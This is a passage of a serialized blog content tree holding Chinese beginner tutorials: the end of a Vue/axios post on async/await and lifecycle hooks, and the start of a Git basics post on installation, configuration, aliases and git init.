":297,"props":24399,"children":24400},{"style":327},[24401],{"type":24,"value":24402},"job",{"type":18,"tag":297,"props":24404,"children":24405},{"style":310},[24406],{"type":24,"value":24407},"}`",{"type":18,"tag":297,"props":24409,"children":24410},{"style":327},[24411],{"type":24,"value":4760},{"type":18,"tag":297,"props":24413,"children":24414},{"class":299,"line":808},[24415,24420,24424,24428,24432,24437],{"type":18,"tag":297,"props":24416,"children":24417},{"style":327},[24418],{"type":24,"value":24419},"            .",{"type":18,"tag":297,"props":24421,"children":24422},{"style":304},[24423],{"type":24,"value":22674},{"type":18,"tag":297,"props":24425,"children":24426},{"style":327},[24427],{"type":24,"value":16593},{"type":18,"tag":297,"props":24429,"children":24430},{"style":4492},[24431],{"type":24,"value":22684},{"type":18,"tag":297,"props":24433,"children":24434},{"style":316},[24435],{"type":24,"value":24436}," =>",{"type":18,"tag":297,"props":24438,"children":24439},{"style":327},[24440],{"type":24,"value":9806},{"type":18,"tag":297,"props":24442,"children":24443},{"class":299,"line":817},[24444,24449,24454,24458],{"type":18,"tag":297,"props":24445,"children":24446},{"style":906},[24447],{"type":24,"value":24448},"                this",{"type":18,"tag":297,"props":24450,"children":24451},{"style":327},[24452],{"type":24,"value":24453},".empList ",{"type":18,"tag":297,"props":24455,"children":24456},{"style":316},[24457],{"type":24,"value":9692},{"type":18,"tag":297,"props":24459,"children":24460},{"style":327},[24461],{"type":24,"value":24462}," result.data.data;\n",{"type":18,"tag":297,"props":24464,"children":24465},{"class":299,"line":826},[24466],{"type":18,"tag":297,"props":24467,"children":24468},{"style":327},[24469],{"type":24,"value":24470},"            });\n",{"type":18,"tag":297,"props":24472,"children":24473},{"class":299,"line":4524},[24474],{"type":18,"tag":297,"props":24475,"children":24476},{"style":327},[24477],{"type":24,"value":9438},{"type":18,"tag":297,"props":24479,"children":24480},{"class":299,"line":4533},[24481,24486],{"type":18,"tag":297,"props":24482,"children":24483},{"style":304},[24484],{"type":24,"value":24485},"    clear",{"type":18,"tag":297,"props":24487,"children":24488},{"style":327},[24489],{"type":24,"value":19442},{"type":18,"tag":297,"props":24491,"children":24492},{"class":299,"line":4546},[24493],{"type":18,"tag":297,"props":24494,"children":24495},{"style":5380},[24496],{"type":24,"value":24497},"        \u002F\u002F 清空表单项数据\n",{"type":18,"tag":297,"props":24499,"children":24500},{"class":299,"line":4555},[24501,24506,24510,24514,24518,24523,24528,24532,24537,24541],{"type":18,"tag":297,"props":24502,"children":24503},{"style":906},[24504],{"type":24,"value":24505},"        this",{"type":18,"tag":297,"props":24507,"children":24508},{"style":327},[24509],{"type":24,"value":22343},{"type":18,"tag":297,"props":24511,"children":24512},{"style":316},[24513],{"type":24,"value":9692},{"type":18,"tag":297,"props":24515,"children":24516},{"style":327},[24517],{"type":24,"value":16360},{"type":18,"tag":297,"props":24519,"children":24520},{"style":310},[24521],{"type":24,"value":24522},"''",{"type":18,"tag":297,"props":24524,"children":24525},{"style":327},[24526],{"type":24,"value":24527},", gender: ",{"type":18,"tag":297,"props":24529,"children":24530},{"style":310},[24531],{"type":24,"value":24522},{"type":18,"tag":297,"props":24533,"children":24534},{"style":327},[24535],{"type":24,"value":24536},", job: ",{"type":18,"tag":297,"props":24538,"children":24539},{"style":310},[24540],{"type":24,"value":24522},{"type":18,"tag":297,"props":24542,"children":24543},{"style":327},[24544],{"type":24,"value":16370},{"type":18,"tag":297,"props":24546,"children":24547},{"class":299,"line":4568},[24548,24552,24556,24561],{"type":18,"tag":297,"props":24549,"children":24550},{"style":906},[24551],{"type":24,"value":24505},{"type":18,"tag":297,"props":24553,"children":24554},{"style":327},[24555],{"type":24,"value":1147},{"type":18,"tag":297,"props":24557,"children":24558},{"style":304},[24559],{"type":24,"value":24560},"search",{"type":18,"tag":297,"props":24562,"children":24563},{"style":327},[24564],{"type":24,"value":24565},"();\n",{"type":18,"tag":297,"props":24567,"children":24568},{"class":299,"line":4577},[24569],{"type":18,"tag":297,"props":24570,"children":24571},{"style":327},[24572],{"type":24,"value":17895},{"type":18,"tag":297,"props":24574,"children":24575},{"class":299,"line":4590},[24576],{"type":18,"tag":297,"props":24577,"children":24578},{"style":327},[24579],{"type":24,"value":9524},{"type":18,"tag":27,"props":24581,"children":24583},{"id":24582},"_65-async-await",[24584],{"type":24,"value":24585},"6.5 async & await",{"type":18,"tag":34,"props":24587,"children":24588},{},[24589],{"type":18,"tag":105,"props":24590,"children":24591},{},[24592],{"type":24,"value":24593},"核心概念",{"type":18,"tag":210,"props":24595,"children":24596},{},[24597,24602,24613],{"type":18,"tag":158,"props":24598,"children":24599},{},[24600],{"type":24,"value":24601},"作用：让异步操作以同步的方式书写，提升代码可读性和可维护性。",{"type":18,"tag":158,"props":24603,"children":24604},{},[24605,24611],{"type":18,"tag":74,"props":24606,"children":24608},{"className":24607},[],[24609],{"type":24,"value":24610},"async",{"type":24,"value":24612},"：声明一个函数为异步函数。",{"type":18,"tag":158,"props":24614,"children":24615},{},[24616,24622,24624,24629,24631,24637],{"type":18,"tag":74,"props":24617,"children":24619},{"className":24618},[],[24620],{"type":24,"value":24621},"await",{"type":24,"value":24623},"：等待异步任务执行完成，仅在 ",{"type":18,"tag":74,"props":24625,"children":24627},{"className":24626},[],[24628],{"type":24,"value":24610},{"type":24,"value":24630}," 函数内有效，可替代 ",{"type":18,"tag":74,"props":24632,"children":24634},{"className":24633},[],[24635],{"type":24,"value":24636},".then()",{"type":24,"value":24638}," 获取请求结果。",{"type":18,"tag":34,"props":24640,"children":24641},{},[24642],{"type":18,"tag":105,"props":24643,"children":24644},{},[24645],{"type":24,"value":18641},{"type":18,"tag":287,"props":24647,"children":24649},{"className":16332,"code":24648,"language":16334,"meta":8,"style":8},"methods: {\n  async search() {\n    \u002F\u002F 根据用户输入的搜索条件，发送axios异步请求\n    let result = await axios.get('https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist?name=xxx&gender=xxx&job=xxx');\n    this.employees = result.data.data;\n  }\n}\n",[24650],{"type":18,"tag":74,"props":24651,"children":24652},{"__ignoreMap":8},[24653,24664,24680,24688,24730,24751,24759],{"type":18,"tag":297,"props":24654,"children":24655},{"class":299,"line":300},[24656,24660],{"type":18,"tag":297,"props":24657,"children":24658},{"style":304},[24659],{"type":24,"value":24284},{"type":18,"tag":297,"props":24661,"children":24662},{"style":327},[24663],{"type":24,"value":9413},{"type":18,"tag":297,"props":24665,"children":24666},{"class":299,"line":657},[24667,24672,24676],{"type":18,"tag":297,"props":24668,"children":24669},{"style":327},[24670],{"type":24,"value":24671},"  async ",{"type":18,"tag":297,"props":24673,"children":24674},{"style":304},[24675],{"type":24,"value":24560},{"type":18,"tag":297,"props":24677,"children":24678},{"style":327},[24679],{"type":24,"value":19442},{"type":18,"tag":297,"props":24681,"children":24682},{"class":299,"line":662},[24683],{"type":18,"tag":297,"props":24684,"children":24685},{"style":5380},[24686],{"type":24,"value":24687},"    \u002F\u002F 根据用户输入的搜索条件，发送axios异步请求\n",{"type":18,"tag":297,"props":24689,"children":24690},{"class":299,"line":799},[24691,24695,24699,24703,24708,24713,24717,24721,24726],{"type":18,"tag":297,"props":24692,"children":24693},{"style":316},[24694],{"type":24,"value":18403},{"type":18,"tag":297,"props":24696,"children":24697},{"style":327},[24698],{"type":24,"value":17422},{"type":18,"tag":297,"props":24700,"children":24701},{"style":316},[24702],{"type":24,"value":9692},{"type":18,"tag":297,"props":24704,"children":24705},{"style":316},[24706],{"type":24,"value":24707}," await",{"type":18,"tag":297,"props":24709,"children":24710},{"style":327},[24711],{"type":24,"value":24712}," axios.",{"type":18,"tag":297,"props":24714,"children":24715},{"style":304},[24716],{"type":24,"value":24004},{"type":18,"tag":297,"props":24718,"children":24719},{"style":327},[24720],{"type":24,"value":16593},{"type":18,"tag":297,"props":24722,"children":24723},{"style":310},[24724],{"type":24,"value":24725},"'https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist?name=xxx&gender=xxx&job=xxx'",{"type":18,"tag":297,"props":24727,"children":24728},{"style":327},[24729],{"type":24,"value":17153},{"type":18,"tag":297,"props":24731,"children":24732},{"class":299,"line":808},[24733,24738,24743,24747],{"type":18,"tag":297,"props":24734,"children":24735},{"style":906},[24736],{"type":24,"value":24737},"    this",{"type":18,"tag":297,"props":24739,"children":24740},{"style":327},[24741],{"type":24,"value":24742},".employees ",{"type":18,"tag":297,"props":24744,"children":24745},{"style":316},[24746],{"type":24,"value":9692},{"type":18,"tag":297,"props":24748,"children":24749},{"style":327},[24750],{"type":24,"value":24462},{"type":18,"tag":297,"props":24752,"children":24753},{"class":299,"line":817},[24754],{"type":18,"tag":297,"props":24755,"children":24756},{"style":327},[24757],{"type":24,"value":24758},"  }\n",{"type":18,"tag":297,"props":24760,"children":24761},{"class":299,"line":826},[24762],{"type":18,"tag":297,"props":24763,"children":24764},{"style":327},[24765],{"type":24,"value":9524},{"type":18,"tag":34,"props":24767,"children":24768},{},[24769],{"type":18,"tag":105,"props":24770,"children":24771},{},[24772],{"type":24,"value":5862},{"type":18,"tag":210,"props":24774,"children":24775},{},[24776,24793],{"type":18,"tag":158,"props":24777,"children":24778},{},[24779,24784,24786,24791],{"type":18,"tag":74,"props":24780,"children":24782},{"className":24781},[],[24783],{"type":24,"value":24621},{"type":24,"value":24785}," 关键字只能在 ",{"type":18,"tag":74,"props":24787,"children":24789},{"className":24788},[],[24790],{"type":24,"value":24610},{"type":24,"value":24792}," 函数内部使用。",{"type":18,"tag":158,"props":24794,"children":24795},{},[24796,24798,24803],{"type":24,"value":24797},"该语法替代了传统的 ",{"type":18,"tag":74,"props":24799,"children":24801},{"className":24800},[],[24802],{"type":24,"value":24636},{"type":24,"value":24804}," 链式调用，让异步逻辑更直观、便于维护。",{"type":18,"tag":27,"props":24806,"children":24808},{"id":24807},"_66-vue-生命周期",[24809],{"type":24,"value":24810},"6.6 Vue 生命周期",{"type":18,"tag":96,"props":24812,"children":24813},{},[24814],{"type":18,"tag":34,"props":24815,"children":24816},{},[24817,24822],{"type":18,"tag":105,"props":24818,"children":24819},{},[24820],{"type":24,"value":24821},"思考",{"type":24,"value":24823},"：如何做到在页面加载完毕后自动发送请求，请求服务端？",{"type":18,"tag":34,"props":24825,"children":24826},{},[24827,24832,24834,24839],{"type":18,"tag":105,"props":24828,"children":24829},{},[24830],{"type":24,"value":24831},"定义",{"type":24,"value":24833},"：指一个对象从创建到销毁的整个过程。\n",{"type":18,"tag":105,"props":24835,"children":24836},{},[24837],{"type":24,"value":24838},"八个阶段",{"type":24,"value":24840},"：每触发一个生命周期事件，会自动执行一个生命周期方法（钩子）。",{"type":18,"tag":34,"props":24842,"children":24843},{},[24844],{"type":18,"tag":54,"props":24845,"children":24848},{"alt":24846,"src":24847},"1777889906797","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1777889906797.png",[],{"type":18,"tag":34,"props":24850,"children":24851},{},[24852],{"type":18,"tag":54,"props":24853,"children":24856},{"alt":24854,"src":24855},"1777890127441","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1777890127441.png",[],{"type":18,"tag":651,"props":24858,"children":24859},{},[24860],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":24862},[24863,24864,24865,24880,24892,24897],{"id":8912,"depth":657,"text":8915},{"id":8929,"depth":657,"text":8932},{"id":8966,"depth":657,"text":8969,"children":24866},[24867,24868,24869,24870,24871,24872,24873,24874,24875,24876,24877,24878,24879],{"id":8972,"depth":662,"text":8975},{"id":9041,"depth":662,"text":9044},{"id":9060,"depth":662,"text":9063},{"id":9131,"depth":662,"text":9134},{"id":9527,"depth":662,"text":9530},{"id":9727,"depth":662,"text":9730},{"id":10927,"depth":662,"text":10930},{"id":11220,"depth":662,"text":11223},{"id":11743,"depth":662,"text":11746},{"id":11762,"depth":662,"text":11765},{"id":12010,"depth":662,"text":12013},{"id":14225,"depth":662,"text":14228},{"id":15363,"depth":662,"text":15363},{"id":15978,"depth":657,"text":15981,"children":24881},[24882,24883,24884,24885,24886,24887,24888,24889,24890,24891],{"id":15984,"depth":662,"text":15987},{"id":16054,"depth":662,"text":16057},{"id":16133,"depth":662,"text":16136},{"id":16769,"depth":662,"text":16772},{"id":17214,"depth":662,"text":17217},{"id":17476,"depth":662,"text":17479},{"id":17728,"depth":662,"text":17731},{"id":17905,"depth":662,"text":17908},{"id":17991,"depth":662,"text":17994},{"id":18530,"depth":662,"text":18533},{"id":19109,"depth":657,"text":19112,"children":24893},[24894,24895,24896],{"id":19115,"depth":662,"text":19118},{"id":19203,"depth":662,"text":19206},{"id":19559,"depth":662,"text":19562},{"id":22428,"depth":657,"text":22431,"children":24898},[24899,24900,24901,24902,24903,24904],{"id":22434,"depth":662,"text":22437},{"id":22505,"depth":662,"text":22508},{"id":22519,"depth":662,"text":22522},{"id":23944,"depth":662,"text":23947},{"id":24582,"depth":662,"text":24585},{"id":24807,"depth":662,"text":24810},"content:blog:2026-04-15-WebBasic.md","blog\u002F2026-04-15-WebBasic.md","blog\u002F2026-04-15-WebBasic",{"_path":24909,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":24910,"description":24911,"date":24912,"tags":24913,"body":24914,"_type":672,"_id":27382,"_source":674,"_file":27383,"_stem":27384,"_extension":677},"\u002Fblog\u002F2026-04-09-gitbasicchapter","Git 基础篇","Git版本控制工具首次体验，了解git本地常见指令集，比如：添加到暂存区、提交、合并冲突、分支操作等等...","2026-04-09",[2983,5284],{"type":15,"children":24915,"toc":27354},[24916,24922,24928,24939,24947,24952,24960,24986,24998,25004,25017,25122,25128,25133,25157,25177,25191,25257,25265,25284,25290,25298,25330,25352,25401,25407,25412,25457,25463,25468,25475,25510,25518,25629,25635,25647,25655,25660,25724,25729,25737,25746,25795,25803,25809,25849,25855,25960,25966,26013,26019,26040,26084,26092,26147,26153,26202,26276,26282,26294,26304,26442,26448,26453,26459,26489,26495,26538,26544,26629,26635,26688,26694,26765,26771,26776,26784,26802,26928,26941,26988,26993,27042,27048,27053,27059,27081,27087,27122,27128,27162,27168,27215,27220,27243,27251,27257,27265,27274,27350],{"type":18,"tag":19,"props":24917,"children":24919},{"id":24918},"_1-git-安装与常用命令",[24920],{"type":24,"value":24921},"1 Git 安装与常用命令",{"type":18,"tag":27,"props":24923,"children":24925},{"id":24924},"_11-git-安装",[24926],{"type":24,"value":24927},"1.1 Git 安装",{"type":18,"tag":34,"props":24929,"children":24930},{},[24931,24933],{"type":24,"value":24932},"Git官网 - Windows安装地址：",{"type":18,"tag":43,"props":24934,"children":24937},{"href":24935,"rel":24936},"https:\u002F\u002Fgit-scm.cn\u002Finstall\u002Fwindows",[47],[24938],{"type":24,"value":24935},{"type":18,"tag":34,"props":24940,"children":24941},{},[24942],{"type":18,"tag":54,"props":24943,"children":24946},{"alt":24944,"src":24945},"1775712053926","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775712053926.png",[],{"type":18,"tag":34,"props":24948,"children":24949},{},[24950],{"type":24,"value":24951},"Git 是否安装成功验证方式：",{"type":18,"tag":34,"props":24953,"children":24954},{},[24955],{"type":18,"tag":54,"props":24956,"children":24959},{"alt":24957,"src":24958},"1775714157325","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775714157325.png",[],{"type":18,"tag":96,"props":24961,"children":24962},{},[24963,24973],{"type":18,"tag":34,"props":24964,"children":24965},{},[24966,24971],{"type":18,"tag":105,"props":24967,"children":24968},{},[24969],{"type":24,"value":24970},"备注",{"type":24,"value":24972},":",{"type":18,"tag":210,"props":24974,"children":24975},{},[24976,24981],{"type":18,"tag":158,"props":24977,"children":24978},{},[24979],{"type":24,"value":24980},"Git GUI：Git提供的图形界面工具",{"type":18,"tag":158,"props":24982,"children":24983},{},[24984],{"type":24,"value":24985},"Git Bash：Git提供的命令行工具",{"type":18,"tag":34,"props":24987,"children":24988},{},[24989,24991,24996],{"type":24,"value":24990},"当安装Git后首先要做的事情是",{"type":18,"tag":105,"props":24992,"children":24993},{},[24994],{"type":24,"value":24995},"设置用户名称和email地址",{"type":24,"value":24997},"。这是非常重要的，因为每次Git提交都会使用该用户信息",{"type":18,"tag":27,"props":24999,"children":25001},{"id":25000},"_12-git-基本配置",[25002],{"type":24,"value":25003},"1.2 Git 基本配置",{"type":18,"tag":154,"props":25005,"children":25006},{},[25007,25012],{"type":18,"tag":158,"props":25008,"children":25009},{},[25010],{"type":24,"value":25011},"打开Git Bash",{"type":18,"tag":158,"props":25013,"children":25014},{},[25015],{"type":24,"value":25016},"设置用户信息",{"type":18,"tag":287,"props":25018,"children":25020},{"className":289,"code":25019,"language":291,"meta":8,"style":8},"git config --global user.name \"your_name\"\ngit config --global user.email \"your_email\"\n# 查看配置信息\ngit config --global user.name\ngit config --global user.email\n",[25021],{"type":18,"tag":74,"props":25022,"children":25023},{"__ignoreMap":8},[25024,25049,25074,25082,25102],{"type":18,"tag":297,"props":25025,"children":25026},{"class":299,"line":300},[25027,25031,25035,25039,25044],{"type":18,"tag":297,"props":25028,"children":25029},{"style":304},[25030],{"type":24,"value":881},{"type":18,"tag":297,"props":25032,"children":25033},{"style":310},[25034],{"type":24,"value":6562},{"type":18,"tag":297,"props":25036,"children":25037},{"style":906},[25038],{"type":24,"value":6567},{"type":18,"tag":297,"props":25040,"children":25041},{"style":310},[25042],{"type":24,"value":25043}," user.name",{"type":18,"tag":297,"props":25045,"children":25046},{"style":310},[25047],{"type":24,"value":25048}," \"your_name\"\n",{"type":18,"tag":297,"props":25050,"children":25051},{"class":299,"line":657},[25052,25056,25060,25064,25069],{"type":18,"tag":297,"props":25053,"children":25054},{"style":304},[25055],{"type":24,"value":881},{"type":18,"tag":297,"props":25057,"children":25058},{"style":310},[25059],{"type":24,"value":6562},{"type":18,"tag":297,"props":25061,"children":25062},{"style":906},[25063],{"type":24,"value":6567},{"type":18,"tag":297,"props":25065,"children":25066},{"style":310},[25067],{"type":24,"value":25068}," user.email",{"type":18,"tag":297,"props":25070,"children":25071},{"style":310},[25072],{"type":24,"value":25073}," \"your_email\"\n",{"type":18,"tag":297,"props":25075,"children":25076},{"class":299,"line":662},[25077],{"type":18,"tag":297,"props":25078,"children":25079},{"style":5380},[25080],{"type":24,"value":25081},"# 查看配置信息\n",{"type":18,"tag":297,"props":25083,"children":25084},{"class":299,"line":799},[25085,25089,25093,25097],{"type":18,"tag":297,"props":25086,"children":25087},{"style":304},[25088],{"type":24,"value":881},{"type":18,"tag":297,"props":25090,"children":25091},{"style":310},[25092],{"type":24,"value":6562},{"type":18,"tag":297,"props":25094,"children":25095},{"style":906},[25096],{"type":24,"value":6567},{"type":18,"tag":297,"props":25098,"children":25099},{"style":310},[25100],{"type":24,"value":25101}," user.name\n",{"type":18,"tag":297,"props":25103,"children":25104},{"class":299,"line":808},[25105,25109,25113,25117],{"type":18,"tag":297,"props":25106,"children":25107},{"style":304},[25108],{"type":24,"value":881},{"type":18,"tag":297,"props":25110,"children":25111},{"style":310},[25112],{"type":24,"value":6562},{"type":18,"tag":297,"props":25114,"children":25115},{"style":906},[25116],{"type":24,"value":6567},{"type":18,"tag":297,"props":25118,"children":25119},{"style":310},[25120],{"type":24,"value":25121}," user.email\n",{"type":18,"tag":27,"props":25123,"children":25125},{"id":25124},"_13-git-常用指令配置别名可选",[25126],{"type":24,"value":25127},"1.3 Git 常用指令配置别名（可选）",{"type":18,"tag":34,"props":25129,"children":25130},{},[25131],{"type":24,"value":25132},"有些常用的指令参数非常多，每次都要输入好多参数，我们可以使用别名。",{"type":18,"tag":154,"props":25134,"children":25135},{},[25136],{"type":18,"tag":158,"props":25137,"children":25138},{},[25139,25141,25147,25149,25155],{"type":24,"value":25140},"打开用户目录 ",{"type":18,"tag":74,"props":25142,"children":25144},{"className":25143},[],[25145],{"type":24,"value":25146},"C:\\Users\\用户名",{"type":24,"value":25148},"，创建 ",{"type":18,"tag":74,"props":25150,"children":25152},{"className":25151},[],[25153],{"type":24,"value":25154},".bashrc",{"type":24,"value":25156}," 文件。部分Windows系统不允许用户创建点号开头的文件，可以打开Git Bash，执行：",{"type":18,"tag":287,"props":25158,"children":25160},{"className":289,"code":25159,"language":291,"meta":8,"style":8},"touch ~\u002F.bashrc\n",[25161],{"type":18,"tag":74,"props":25162,"children":25163},{"__ignoreMap":8},[25164],{"type":18,"tag":297,"props":25165,"children":25166},{"class":299,"line":300},[25167,25172],{"type":18,"tag":297,"props":25168,"children":25169},{"style":304},[25170],{"type":24,"value":25171},"touch",{"type":18,"tag":297,"props":25173,"children":25174},{"style":310},[25175],{"type":24,"value":25176}," ~\u002F.bashrc\n",{"type":18,"tag":154,"props":25178,"children":25179},{"start":657},[25180],{"type":18,"tag":158,"props":25181,"children":25182},{},[25183,25184,25189],{"type":24,"value":9086},{"type":18,"tag":74,"props":25185,"children":25187},{"className":25186},[],[25188],{"type":24,"value":25154},{"type":24,"value":25190}," 文件中输入如下内容：",{"type":18,"tag":287,"props":25192,"children":25194},{"className":289,"code":25193,"language":291,"meta":8,"style":8},"# 用于输出git提交日志\nalias git-log='git log --pretty=oneline --all --graph --abbrev-commit'\n# 用于输出当前目录所有文件及基本信息\nalias ll='ls -al'\n",[25195],{"type":18,"tag":74,"props":25196,"children":25197},{"__ignoreMap":8},[25198,25206,25228,25236],{"type":18,"tag":297,"props":25199,"children":25200},{"class":299,"line":300},[25201],{"type":18,"tag":297,"props":25202,"children":25203},{"style":5380},[25204],{"type":24,"value":25205},"# 用于输出git提交日志\n",{"type":18,"tag":297,"props":25207,"children":25208},{"class":299,"line":657},[25209,25214,25219,25223],{"type":18,"tag":297,"props":25210,"children":25211},{"style":316},[25212],{"type":24,"value":25213},"alias",{"type":18,"tag":297,"props":25215,"children":25216},{"style":327},[25217],{"type":24,"value":25218}," git-log",{"type":18,"tag":297,"props":25220,"children":25221},{"style":316},[25222],{"type":24,"value":9692},{"type":18,"tag":297,"props":25224,"children":25225},{"style":310},[25226],{"type":24,"value":25227},"'git log --pretty=oneline --all --graph --abbrev-commit'\n",{"type":18,"tag":297,"props":25229,"children":25230},{"class":299,"line":662},[25231],{"type":18,"tag":297,"props":25232,"children":25233},{"style":5380},[25234],{"type":24,"value":25235},"# 用于输出当前目录所有文件及基本信息\n",{"type":18,"tag":297,"props":25237,"children":25238},{"class":299,"line":799},[25239,25243,25248,25252],{"type":18,"tag":297,"props":25240,"children":25241},{"style":316},[25242],{"type":24,"value":25213},{"type":18,"tag":297,"props":25244,"children":25245},{"style":327},[25246],{"type":24,"value":25247}," ll",{"type":18,"tag":297,"props":25249,"children":25250},{"style":316},[25251],{"type":24,"value":9692},{"type":18,"tag":297,"props":25253,"children":25254},{"style":310},[25255],{"type":24,"value":25256},"'ls -al'\n",{"type":18,"tag":154,"props":25258,"children":25259},{"start":662},[25260],{"type":18,"tag":158,"props":25261,"children":25262},{},[25263],{"type":24,"value":25264},"打开 Git Bash，执行配置生效命令",{"type":18,"tag":287,"props":25266,"children":25268},{"className":289,"code":25267,"language":291,"meta":8,"style":8},"source ~\u002F.bashrc\n",[25269],{"type":18,"tag":74,"props":25270,"children":25271},{"__ignoreMap":8},[25272],{"type":18,"tag":297,"props":25273,"children":25274},{"class":299,"line":300},[25275,25280],{"type":18,"tag":297,"props":25276,"children":25277},{"style":906},[25278],{"type":24,"value":25279},"source",{"type":18,"tag":297,"props":25281,"children":25282},{"style":310},[25283],{"type":24,"value":25176},{"type":18,"tag":27,"props":25285,"children":25287},{"id":25286},"_14-解决gitbash乱码问题",[25288],{"type":24,"value":25289},"1.4 解决GitBash乱码问题",{"type":18,"tag":154,"props":25291,"children":25292},{},[25293],{"type":18,"tag":158,"props":25294,"children":25295},{},[25296],{"type":24,"value":25297},"打开GitBash执行下面命令",{"type":18,"tag":287,"props":25299,"children":25301},{"className":289,"code":25300,"language":291,"meta":8,"style":8},"git config --global core.quotepath false\n",[25302],{"type":18,"tag":74,"props":25303,"children":25304},{"__ignoreMap":8},[25305],{"type":18,"tag":297,"props":25306,"children":25307},{"class":299,"line":300},[25308,25312,25316,25320,25325],{"type":18,"tag":297,"props":25309,"children":25310},{"style":304},[25311],{"type":24,"value":881},{"type":18,"tag":297,"props":25313,"children":25314},{"style":310},[25315],{"type":24,"value":6562},{"type":18,"tag":297,"props":25317,"children":25318},{"style":906},[25319],{"type":24,"value":6567},{"type":18,"tag":297,"props":25321,"children":25322},{"style":310},[25323],{"type":24,"value":25324}," core.quotepath",{"type":18,"tag":297,"props":25326,"children":25327},{"style":906},[25328],{"type":24,"value":25329}," false\n",{"type":18,"tag":154,"props":25331,"children":25332},{"start":657},[25333],{"type":18,"tag":158,"props":25334,"children":25335},{},[25336,25342,25344,25350],{"type":18,"tag":74,"props":25337,"children":25339},{"className":25338},[],[25340],{"type":24,"value":25341},"${git_home}\u002Fetc\u002Fbash.bashrc",{"type":24,"value":25343}," 文件最后加入下面两行（ ",{"type":18,"tag":74,"props":25345,"children":25347},{"className":25346},[],[25348],{"type":24,"value":25349},"git_home",{"type":24,"value":25351}," 表示Git的安装目录）",{"type":18,"tag":287,"props":25353,"children":25355},{"className":289,"code":25354,"language":291,"meta":8,"style":8},"export LANG=\"zh_CN.UTF-8\"\nexport LC_ALL=\"zh_CN.UTF-8\"\n",[25356],{"type":18,"tag":74,"props":25357,"children":25358},{"__ignoreMap":8},[25359,25381],{"type":18,"tag":297,"props":25360,"children":25361},{"class":299,"line":300},[25362,25367,25372,25376],{"type":18,"tag":297,"props":25363,"children":25364},{"style":316},[25365],{"type":24,"value":25366},"export",{"type":18,"tag":297,"props":25368,"children":25369},{"style":327},[25370],{"type":24,"value":25371}," LANG",{"type":18,"tag":297,"props":25373,"children":25374},{"style":316},[25375],{"type":24,"value":9692},{"type":18,"tag":297,"props":25377,"children":25378},{"style":310},[25379],{"type":24,"value":25380},"\"zh_CN.UTF-8\"\n",{"type":18,"tag":297,"props":25382,"children":25383},{"class":299,"line":657},[25384,25388,25393,25397],{"type":18,"tag":297,"props":25385,"children":25386},{"style":316},[25387],{"type":24,"value":25366},{"type":18,"tag":297,"props":25389,"children":25390},{"style":327},[25391],{"type":24,"value":25392}," LC_ALL",{"type":18,"tag":297,"props":25394,"children":25395},{"style":316},[25396],{"type":24,"value":9692},{"type":18,"tag":297,"props":25398,"children":25399},{"style":310},[25400],{"type":24,"value":25380},{"type":18,"tag":27,"props":25402,"children":25404},{"id":25403},"_15-git-常用命令",[25405],{"type":24,"value":25406},"1.5 Git 常用命令",{"type":18,"tag":34,"props":25408,"children":25409},{},[25410],{"type":24,"value":25411},"本教程里的git命令例子都是在Git Bash中演示的，会用到一些基本的linux命令，在此为大家提前列举：",{"type":18,"tag":210,"props":25413,"children":25414},{},[25415,25426,25436,25446],{"type":18,"tag":158,"props":25416,"children":25417},{},[25418,25424],{"type":18,"tag":74,"props":25419,"children":25421},{"className":25420},[],[25422],{"type":24,"value":25423},"ls\u002Fll",{"type":24,"value":25425},"：查看当前目录",{"type":18,"tag":158,"props":25427,"children":25428},{},[25429,25434],{"type":18,"tag":74,"props":25430,"children":25432},{"className":25431},[],[25433],{"type":24,"value":6856},{"type":24,"value":25435},"：查看文件内容",{"type":18,"tag":158,"props":25437,"children":25438},{},[25439,25444],{"type":18,"tag":74,"props":25440,"children":25442},{"className":25441},[],[25443],{"type":24,"value":25171},{"type":24,"value":25445},"：创建文件",{"type":18,"tag":158,"props":25447,"children":25448},{},[25449,25455],{"type":18,"tag":74,"props":25450,"children":25452},{"className":25451},[],[25453],{"type":24,"value":25454},"vim",{"type":24,"value":25456}," ：vim编辑器（可以记事本、editPlus、notPad++等其它编辑器）",{"type":18,"tag":19,"props":25458,"children":25460},{"id":25459},"_2-获取本地仓库",[25461],{"type":24,"value":25462},"2 获取本地仓库",{"type":18,"tag":34,"props":25464,"children":25465},{},[25466],{"type":24,"value":25467},"要使用Git对我们的代码进行版本控制，首先需要获得本地仓库",{"type":18,"tag":34,"props":25469,"children":25470},{},[25471],{"type":18,"tag":105,"props":25472,"children":25473},{},[25474],{"type":24,"value":18020},{"type":18,"tag":154,"props":25476,"children":25477},{},[25478,25483,25488,25498],{"type":18,"tag":158,"props":25479,"children":25480},{},[25481],{"type":24,"value":25482},"在电脑的任意位置创建一个空目录（例如test）作为我们的本地Git仓库",{"type":18,"tag":158,"props":25484,"children":25485},{},[25486],{"type":24,"value":25487},"进入这个目录中，点击右键打开Git bash窗口",{"type":18,"tag":158,"props":25489,"children":25490},{},[25491,25493],{"type":24,"value":25492},"执行命令 ",{"type":18,"tag":74,"props":25494,"children":25496},{"className":25495},[],[25497],{"type":24,"value":8424},{"type":18,"tag":158,"props":25499,"children":25500},{},[25501,25503,25508],{"type":24,"value":25502},"如果创建成功后可在文件夹下看到隐藏的",{"type":18,"tag":74,"props":25504,"children":25506},{"className":25505},[],[25507],{"type":24,"value":5883},{"type":24,"value":25509},"目录",{"type":18,"tag":34,"props":25511,"children":25512},{},[25513],{"type":18,"tag":105,"props":25514,"children":25515},{},[25516],{"type":24,"value":25517},"命令执行示例",{"type":18,"tag":287,"props":25519,"children":25521},{"className":289,"code":25520,"language":291,"meta":8,"style":8},"# 初始化当前目录为一个git仓库\n31245@HUAWEINotBook16 MINGW64 \u002Fd\u002FDailyFile\u002Fgit-test\u002Ftest01\n$ git init\nInitialized empty Git repository in D:\u002FDailyFile\u002Fgit-test\u002Ftest01\u002F.git\u002F\n\n31245@HUAWEINotBook16 MINGW64 \u002Fd\u002FDailyFile\u002Fgit-test\u002Ftest01 